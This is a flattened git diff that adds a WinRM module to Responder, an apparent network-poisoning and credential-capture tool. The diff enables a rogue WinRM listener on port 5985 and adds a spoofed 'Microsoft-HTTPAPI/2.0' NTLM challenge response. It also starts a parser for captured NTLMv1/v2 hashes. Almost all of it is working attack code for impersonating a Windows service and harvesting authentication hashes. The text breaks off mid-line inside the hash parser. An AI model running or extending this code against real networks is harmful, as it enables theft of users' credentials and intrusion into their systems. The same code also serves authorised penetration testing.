diff --git a/Responder.conf b/Responder.conf index 7204f3b..19f9b9d 100644 --- a/Responder.conf +++ b/Responder.conf @@ -14,6 +14,7 @@ HTTPS = On DNS = On LDAP = On DCERPC = On +WINRM = On ; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) diff --git a/Responder.py b/Responder.py index 4e9e1c4..2b62977 100755 --- a/Responder.py +++ b/Responder.py @@ -262,6 +262,10 @@ def main(): from servers.HTTP import HTTP threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 80, HTTP,))) + if settings.Config.WinRM_On_Off: + from servers.WinRM import WinRM + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 5985, WinRM,))) + if settings.Config.SSL_On_Off: from servers.HTTP import HTTP threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 443, HTTP,))) diff --git a/packets.py b/packets.py index 903310c..77036bd 100644 --- a/packets.py +++ b/packets.py @@ -317,6 +317,21 @@ class IIS_NTLM_Challenge_Ans(Packet): def calculate(self,payload): self.fields["Payload"] = b64encode(payload) +class WinRM_NTLM_Challenge_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 401 \r\n"), + ("WWWAuth", "WWW-Authenticate: Negotiate "), + ("Payload", ""), + ("Payload-CRLF", "\r\n"), + ("ServerType", "Server: Microsoft-HTTPAPI/2.0\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + + def calculate(self,payload): + self.fields["Payload"] = b64encode(payload) + class IIS_Basic_401_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 401 Unauthorized\r\n"), @@ -2128,4 +2143,3 @@ class RPCNTLMNego(Packet): self.fields["FragLen"] = StructWithLenPython2or3(". +import struct +import codecs +from utils import * +if settings.Config.PY2OR3 == "PY3": + from socketserver import BaseRequestHandler, StreamRequestHandler +else: + from SocketServer import BaseRequestHandler, StreamRequestHandler +from base64 import b64decode, b64encode +from packets import NTLM_Challenge +from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer, WinRM_NTLM_Challenge_Ans +from packets import WPADScript, ServeExeFile, ServeHtmlFile + + +# Parse NTLMv1/v2 hash. +def ParseHTTPHash(data, Challenge, client, module): + LMhashLen = struct.unpack(' 24: + NthashLen = 64 + DomainLen = struct.unpack('